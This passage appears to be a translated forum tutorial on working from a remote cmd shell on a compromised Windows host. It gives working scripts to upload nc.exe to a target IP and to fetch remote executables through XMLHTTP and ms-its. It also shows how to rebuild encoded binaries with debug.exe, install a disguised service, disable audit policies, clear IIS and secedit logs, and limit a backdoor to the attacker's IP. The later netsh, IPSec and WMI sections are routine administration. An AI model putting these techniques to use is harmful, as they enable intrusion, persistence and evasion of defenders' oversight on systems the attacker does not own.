fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with
Save it as up.vbs. Suppose the target IP is 123.45.67.89, up.asp is in the IIS virtual root directory, and the file to be uploaded is nc.exe, which is saved as mm.exe after uploading. The corresponding command is:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
Note that this command is executed in the local command line, so do not make a mistake.
In addition, uploading through IIS will leave a log, so remember to clear it.
2, Automatically download to the web cache.
For example:
start its:http://www.sometips.com/soft/ps.exe
After executing the above command in the remote shell, ps.exe has been downloaded to the web cache directory of the target host. Then:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps.exe
Thus, the specific location of ps.exe is obtained (it is different for each host), such as:
Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT
2004-01-24 14:24 49,152 ps.exe
1 File(s) 49,152 bytes
Finally:
copy AB094JIT\ps.exe c:\path\ps.exe
del AB094JIT\ps.exe
Supplementary instructions:
For a shell provided by a backdoor started as a service, the user identity is generally System. At this time, the location of the web cache directory is as shown in the example. If the identity of the shell is not System, the Default User needs to be modified to the corresponding user name.
This method will start an IE process, remember to kill it. If it is a System identity shell, no window will appear locally to be exposed.
In addition, using ms-its instead of its has exactly the same effect.
3, Echo a script to download web resources.
The ready-made tool is iGet.vbs. I will give another version with necessary fault tolerance functions.
Still the echo version:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
For example - download ps.exe and save it to c:\path:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
Note that this is executed in the remote shell.
4, Echo any file that has been encoded, and then use a script + debug to restore it.
The above two methods cannot guarantee to pass through the firewall. Moreover, unless you set up your own Web server, general Web resources are provided in the form of compressed files. If the target host does not have an extraction tool, it is still impossible. Then only the "killer move" is left!
The echo command plus the redirection operator can write characters with ASCII codes less than 128, but not those greater than or equal to 128. Only by re-encoding the local file into displayable characters can it be conveniently written to the remote host. The first thing that comes to mind is base64 encoding, which is the encoding method for email attachments. But vbs does not support bit operations, so encoding and decoding are more complicated. What's more troublesome is that the script has very poor ability to process files in binary stream mode. (ADODB.Stream can write files in stream mode, but I cannot construct the corresponding data type. The binary data stream can be converted into a string using the midb function, but the reverse is not possible. I spent two days, but still couldn't solve this problem. If anyone can write any byte data to a file using vbs or js, I would be grateful for your advice.)
There is no choice but to ask debug.exe to come forward. The principle is known to many people, so I will not introduce it. Directly give the result - the encoding script:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
Save it as echo.vbs. Suppose you want to upload nc.exe, then enter the command in the local command line:
cscript echo.vbs nc.exe
You can also directly drag the icon of the file to be transferred onto the icon of the script file.
Wait for a while, and a nc.exe.bat will be generated in the current directory. Open it with a text editor such as Notepad, and you can see the following content:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(Omitted several lines)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
Select all -> Copy -> Switch to the remote command line window -> Paste.
If the network speed is not very slow, the entire upload process takes about 20 seconds.
Some notes:
1, Large file transfer is unstable and may cause the shell to die. So the smaller the file, the better the effect. It is recommended that the original file does not exceed 100KB.
2, Before transferring a large file, you can first transfer a small file as a "warm-up" to keep the 16-bit virtual machine ntvdm.exe in the background. After all files are transferred, for the sake of concealment, the ntvdm process should be killed.
3, For some cmd shells, each command needs to be appended with two carriages returns, so the nc.exe.bat cannot be used directly.
4, The length of a single command is limited, so it is not possible to complete all tasks with only one echo. Moreover, for the cmd shell provided by nc, a slightly longer command will automatically make the shell exit (overflow?). You can modify the "i mod 128=0" statement to adjust the length of each echo command. The number of characters for each echo is twice this number.
5, The decoding process can be done without a script. The purpose of using a script is to reduce the amount of data transmitted (because the data is compressed). If there is time, I will write a more perfect script to enhance data compression ability and add data verification function.
Of course, it is easy to do everything once you can upload files, but many operations are more convenient with Windows-built tools. When you are looking for the tools you need everywhere, don't forget Windows itself.
System Configuration
This section includes three aspects: registry, service, and group policy.
Let's start with the registry. Many command-line tools to access the registry are interactive. The shell generated by overflow generally cannot redirect input/output streams again, so they cannot be used.
Fortunately, regedit.exe built into the system is sufficient.
1, Read the registry
First, export the registry key you want to query, then use type to view it. For example:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
So the port of the terminal service is 3389 (hexadecimal d3d)
2, Modify/delete registry keys
First, echo a reg file, then import it. For example:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
Change the telnet service port to 2323 (hexadecimal 913) and the NTLM authentication method to 1.
To delete a key, add a minus sign in front of the name. For example:
To delete a value, use a minus sign after the equal sign. For example:
"KAVRun"=-
3, Access the registry using an inf file
The above three operations on the registry can also be implemented using the following inf file:
Signature="$WINDOWS NT$"
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
Write it to c:\path\reg.inf and then use the following command to "install":
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
Some notes:
1, and are necessary, and at least one of AddReg and DelReg is required. My_AddReg_Name and My_DelReg_Name can be customized.
0x00010001 means the REG_DWORD data type, 0x00000000 or omitting this item (keeping the comma) means REG_SZ (string). 0x00020000 means REG_EXPAND_SZ.
2323 can also be replaced with 0x913.
For detailed information about inf files, refer to the DDK help document.
2, InstallHinfSection is case-sensitive. There is only one comma between it and setupapi, with no space.
128 means the given path. For other values and meanings of this parameter, refer to MSDN.
Special note: The last parameter must be the full path of the inf file, do not use a relative path.
3, The items in the inf file are case-insensitive.
Next, let's talk about services. If you want to start or stop a service, you can use the net command. But if you want to add or delete a service, you need to use tools such as SC, instsrv.exe, xnet.exe, etc. And these tools are not built into the system (XP and 2003 have SC built-in). Importing the registry can be done, but the effect is not good, and the reason will be mentioned later. Still, it's up to the inf file to come into play.
Add a service:
Signature="$WINDOWS NT$"
AddService=inetsvr,,My_AddService_Name
DisplayName=Windows Internet Service
Description=Provides support for managing Internet information services.
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
Save it as inetsvr.inf, then:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
This example adds a service named inetsvr (it's very similar to the system-built service, hehe).
Some notes:
1, The last four items are respectively
Service type: 0x10 is an independent process service, 0x20 is a shared process service (such as svchost);
Start type: 0 loaded when the system boots, 1 loaded when the OS initializes, 2 automatically started by SCM (Service Control Manager), 3 started manually, 4 disabled.
(Note that 0 and 1 can only be used for drivers)
Error control: 0 ignore, 1 continue and warn, 2 switch to LastKnownGood settings, 3 blue screen.
Service program location: %11% means the system32 directory, %10% means the system directory (WINNT or Windows), %12% is the driver directory system32\drivers. For other values, refer to the DDK. You can also not use variables and directly use the full path.
These four items are necessary.
2, In addition to the six items in the example, there are also LoadOrderGroup, Dependencies, etc. They are not commonly used, so they are not introduced.
3, There are two commas after inetsvr because one less commonly used parameter flags is omitted in the middle.
Delete a service:
Signature="$WINDOWS NT$"
DelService=inetsvr
It's very simple, isn't it?
Of course, you can also achieve the purpose by importing the registry. But the inf has its own advantages.
1, Export the registry key of a system-built service, and you will find that its execution path is like this:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
It's not easy to read. In fact, it is %SystemRoot%\system32\tlntsvr.exe, but the data type is REG_EXPAND_SZ. When manually importing the registry to add a service, defining ImagePath in this way is obviously very inconvenient. If REG_SZ is used instead, there will be some problems - the environment variable cannot be used. That is, only the full path can be used. The inf file has no such problem at all, and ServiceBinary (that is, ImagePath) automatically becomes REG_EXPAND_SZ.
2, The most crucial point is that, like using tools such as SC, the effect of the inf file takes effect immediately, while after importing reg, it is only effective after restarting.
3, The inf file will automatically add a Security subkey to the registry key of the service, making it look more like a system-built service.
In addition, AddService and DelService as well as AddReg, DelReg can be used simultaneously and repeatedly. That is, multiple services and registry keys can be added and deleted simultaneously. For detailed content, please refer to the DDK.
Finally, let's talk about group policy. Group policy is an important means to establish a Windows security environment, especially in a Windows domain environment. An excellent system administrator should be able to master and apply group policy proficiently. To access group policy in the window interface, use gpedit.msc, and in the command line, use secedit.exe.
First, look at the secedit command syntax:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
The functions of the 5 commands are respectively analyze group policy, configure group policy, export group policy, validate template syntax, and update group policy. Among them, secedit /refreshpolicy is replaced by gpupdate in XP/2003. You can check the specific syntax of these commands in the command line by yourself.
Unlike accessing the registry which only requires a reg file, to access group policy, in addition to having a template file (still inf), a security database file (sdb) is also needed. To modify group policy, you must first import the template into the security database, and then refresh the group policy by applying the security database. Let's look at an example:
Suppose I want to set the minimum password length to 6 and enable "Password must meet complexity requirements", then first write such a template:
signature="$CHICAGO$"
MinimumPasswordLength = 6
PasswordComplexity = 1
Save it as gp.inf, then import it:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
This command is executed, and a gp.sdb will be generated in the current directory. It is an "intermediate product", and you can delete it.
The /quiet parameter means "quiet mode" and does not generate a log. But according to my test, this parameter seems to have no effect under 2000sp4, and it is normal under XP. The log is always saved in %windir%\security\logs\scesrv.log. You can also specify the log yourself to delete it later. For example:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
In addition, before importing the template, you can first analyze whether the syntax is correct:
secedit /validate gp.inf
Then, how do you know the specific syntax? Of course, go to MSDN to find it. There is also a lazy way, because the system has some built-in security templates, in the %windir%\security\templates directory. Open these templates, basically containing the commonly used security setting syntax, and it is easy to understand.
Another example - turn off all "audit policies". (The events it audits will be recorded in "Security" in the Event Viewer).
Echo version:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
Some people may say: Group policy is saved in the registry, why not directly modify the registry? Because not all group policies are saved in the registry. For example, "audit policies" are not. You can use regsnap to compare the changes in the registry before and after modifying this policy. The result of my test is that nothing has changed. Only the "Administrative Templates" part is completely based on the registry. Moreover, once you know the specific location, it is not complicated to use either method.
For example, the "Local Policy" -> "Security Options" in XP and 2003 has added a "Local account sharing and security mode" policy. The default setting in XP is "Guest only". This is why connecting to the ipc$ of XP with an administrator account still has only Guest permissions. It can be modified to "Classic" by importing a reg file:
echo Windows Registry Editor Version 5.00 >1.reg
echo >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
And correspondingly, using inf, it should be:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
Regarding the problem of reading group policy in the command line.
The default security database of the system is located in %windir%\security\database\secedit.sdb. Export it to an inf file:
secedit /export /cfg gp.inf /log 1.log
Not using the /db parameter to specify the database is to use the default. Then view gp.inf.
However, what is obtained in this way is only a part of the group policy (that is, "Windows Settings"). Moreover, if a policy is not configured, it will not be exported. For example, "Rename the administrator account" will only appear in the inf file if it is defined. For other group policies that cannot be exported, you can only access the registry to obtain them.
This method is invalid under XP and 2003 - it can be exported but the content is basically empty. The reason is unknown. According to official information, XP and 2003 use RSoP (Group Policy Results Set) to display group policy. The corresponding command-line tool is gpresult. However, the result obtained by it is the group policy attached (from the domain) when the system starts. The test result of a standalone machine is still "empty". So, if you want to know whether some group policies are set, you can only write an inf first, then use secedit /analyze, and then view the log.
Network Configuration
There are many command-line tools related to the network built into Windows, such as the familiar ping, tracert, ipconfig, telnet, ftp, tftp, netstat, as well as less familiar nbtstat, pathping, nslookup, finger, route, netsh...
These commands can be divided into three categories: network detection (such as ping), network connection (such as telnet), and network configuration (such as netsh). The first two are relatively simple, and this article only introduces two network configuration tools.
netsh
When using netsh in a remote shell, the first thing to solve is the problem of the interactive mode. As mentioned earlier, many shells cannot redirect input and output again, so interactive command-line tools such as ftp cannot be used in this environment. The solution is that generally, interactive tools allow the use of scripts (or called response files). For example, ftp -s:filename. netsh is the same: netsh -f filename.
The functions of the netsh command are very many, and it can configure IAS, DHCP, RAS, WINS, NAT servers, TCP/IP protocol, IPX protocol, routing, etc. We are not administrators, and generally there is no need to understand so much. We only need to use netsh to understand the network configuration information of the target host.
1, TCP/IP configuration
echo interface ip >s
echo show config >>s
netsh -f s
del s
In this way, you can understand how many network cards and IPs this host has, whether it is a dynamically assigned IP (DHCP), and what the internal network IP is (if any).
This command is similar to ipconfig /all.
Note that the following commands require the target host to start the remoteaccess service. If it is disabled, please first enable it by importing the registry, then
net start remoteaccess
2, ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
This has a little more information than the arp -a command.
3, TCP/UDP connection
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
This group of commands is the same as netstat -an.
4, Network card information
If the netsh command can be replaced by other commands, then what is the necessity of its existence? The following one cannot be found to be replaced.
echo interface ip >s
echo show interface >>s
netsh -f s
del s
Other functions of netsh, such as modifying the IP, are generally not necessary to use (in case the IP is changed and you can't connect, it will be "helpless"), so all are omitted.
IPSec
First, it needs to be pointed out that IPSec and TCP/IP filtering are different things, and everyone should not confuse them. The function of TCP/IP filtering is very limited, far less flexible and powerful than IPSec. The following is about how to control IPSec in the command line.
The ipseccmd is used in XP system, and ipsecpol is used in 2000. Unfortunately, neither of them is built into the system. ipseccmd is in SUPPORT\TOOLS\SUPPORT.CAB on the XP system installation disk, and ipsecpol is in the 2000 Resource Kit. Moreover, to use ipsecpol, you must also bring the other two files: ipsecutil.dll and text2pol.dll. The three files are a total of 119KB.
IPSec can be controlled through group policy, but I have searched MSDN and cannot find the syntax of the corresponding security template. The configured IPSec policy cannot be exported as a template. So, this path of group policy is not feasible. The settings of IPSec are saved in the registry (HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local). In theory, IPSec can be configured by modifying the registry. But a lot of information is stored in binary form, and it is very difficult to read and modify. Compared with uploading the command-line tool, it is more convenient.
Regarding the information about ipsecpol and ipseccmd, a lot of information can be found on the Internet, so this article will not elaborate, but only list some practical examples.
In terms of setting up IPSec policies, the syntax of the ipseccmd command is almost exactly the same as that of ipsecpol, so only ipsecpol is taken as an example:
1, Defend against rpc-dcom attacks
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
This command closes the local host's TCP 135, 139, 445 and UDP 135, 137, 138, 445 ports.
The specific meaning is as follows:
-p myfirewall specifies the policy name as myfirewall
-r rpc-dcom specifies the rule name as rpc-dcom
-f …… Establish 7 filters. * means any address (source); 0 means the local host address (target); + means mirror (two-way) filtering. For detailed syntax, see ipsecpol -?
-n BLOCK specifies that the filtering operation is "block". Note that BLOCK must be in uppercase.
-w reg writes the configuration to the registry, and it is still effective after restarting.
-x activates this policy immediately.
2, Prevent being pinged
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
If the policy named myfirewall already exists, the antiping rule will be added to it.
Note that this rule also prevents the host from pinging others.
3, IP restriction for the backdoor
Suppose you have installed DameWare Mini Remote Control on a certain host. In order to protect it from being brute-forced for passwords or overflowed, you should restrict access to its service port 6129.
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
In this way, only 123.45.67.89 can access the 6129 port of this host.
If you have a dynamic IP, you should set the rules according to the IP allocation range. For example:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
In this way, IPs from 123.45.67.1 to 123.45.67.254 are allowed to access the 6129 port.
When writing rules, you should be especially careful not to block yourself. If you are not sure whether the effect of a certain rule is as expected, you can first use the scheduled task to "leave a back door". For example:
c:\>net start schedule
Task Scheduler service is starting ..
Task Scheduler service has started successfully.
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
A new job has been added, and its job ID = 1
Then, you have 5 minutes to set up a myfw policy and test it. After 5 minutes, the scheduled task will stop this policy.
If the test result is not ideal, then delete this policy.
c:\>ipsecpol -p myfw -o -w reg
Note that the policy must be stopped before deleting it. If it is not stopped, even if it is deleted, it will continue to take effect for a period of time. The duration depends on the refresh time of the policy, and the default is 180 minutes.
If the test passes, then enable it.
c:\>ipsecpol -p myfw -x -w reg
Finally, let's talk about the way to view the IPSec policy.
For XP, it's very simple, a single command can be done - ipseccmd show filters
And ipsecpol has no query function. You need to use another command-line tool netdiag. It is in SUPPORT\TOOLS\SUPPORT.CAB on the 2000 system installation disk. (Since three files have been uploaded, it doesn't matter if one more is added. ^_^)
netdiag requires the support of the RemoteRegistry service. So first start this service:
net start remoteregistry
If the RemoteRegistry is not started, an error will be obtained:
Failed to get system information of this machine.
The netdiag tool is very powerful, and all network-related information can be obtained! However, the output information is sometimes too detailed, exceeding the output cache of the command-line console cmd.exe, and not every remote cmd shell can use the more command to page.
The command to view the ipsec policy is:
netdiag /debug /test:ipsec
Then there is a long string of output information. The IPSec policy is at the end.
Software Installation
The installation process of a software/tool generally only does two things: copying files to a specific directory and modifying the registry. As long as the specific content is figured out, then you can implement it yourself in the command line. (Not considering situations such as needing to register and activate after installation)
WinPcap is a very commonly used tool, but it must be installed in the window interface. There is also a version without GUI found on the Internet (but there is still a copyright page). In fact, we can completely make one ourselves.
Take WinPcap 3.0a as an example. By comparing the file system and registry snapshots before and after installation, it is easy to understand the entire installation process.
Excluding the uninstall part, the key files are three: wpcap.dll, packet.dll, and npf.sys. The first two files are in the system32 directory, and the third is in the system32\drivers directory. The change in the registry is to add a system service NPF. Note that it is a system service (that is, a driver) not a Win32 service.
As a system service, not only does it need to add a primary key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services, but also add a primary key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root. And the latter is only modifiable by the SYSTEM identity by default. Fortunately, there is no need to add it manually, and winpcap will handle it automatically when called. Even without manually modifying the registry, winpcap will do everything by itself, and only need to copy the three files to the appropriate location.
As an example, still demonstrate how to modify the registry: use the inf file mentioned earlier to implement.
Signature="$WINDOWS NT$"
AddService=NPF,,winpcap_svr
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
Save the above content as _wpcap_.inf file.
Then write a batch file _wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
Then use winrar to package all files (5 files) into a self-extracting exe, and set the 'Advanced Self-Extraction Options' -> 'Run after extraction' to _wpcap_.bat, and the command-line winpcap installation package is made.
Note that there is no carriage return character at the end of the batch file. Otherwise, it cannot be deleted because it is running.
All software installations can basically follow this idea. But there are exceptions, that is, the installation of system patches.
Because the system patch may replace a file that is being executed or accessed, so the copy command is not feasible.
Fortunately, Windows patch packages support command-line installation.
For example:
KB824146.exe -n -z -q
-n does not keep backups
-z does not restart
-q quiet mode
If there are a bunch of patches to be applied, then use RAR to package them into a self-extracting file, plus a batch file.
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
Windows Scripts
Many things are very concise to do with scripts. The following gives the echo versions of several commonly used scripts.
1, Display system version
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2, List processes
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3, Terminate a process
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
To terminate a process with PID 123, use the following syntax:
cscript pk.vbs 123
If 0 is displayed, it means the termination is successful.
Then:
del pk.vbs
4, Restart the system
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5, List self-starting services
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6, List running services
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7, Display the last boot time of the system
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
The displayed result format is:
yyyymmddHHMMSSxxxxxxZZZZ
_Year_Month_Day_Hour_Minute_Second_Microsecond_Timezone
8, Display the running time of the system
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
This running time is obtained from the performance counter as a 64-bit integer, and there will be no overflow situation after 49.7 days.
Postscript
The cmd shell is profound and extensive. This article briefly talks about some common techniques, hoping to be helpful to everyone.
Maybe you already knew these methods, maybe you have better methods, and I hope you can write them out and share with everyone.
Finally, thank you for reading this article patiently. My level is limited, and I sincerely ask for corrections for any mistakes.
[ Last edited by willsort on 2006-6-3 at 21:45 ]
Recent Ratings for This Post
( 2 in total)
Click for details
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!

DigestI
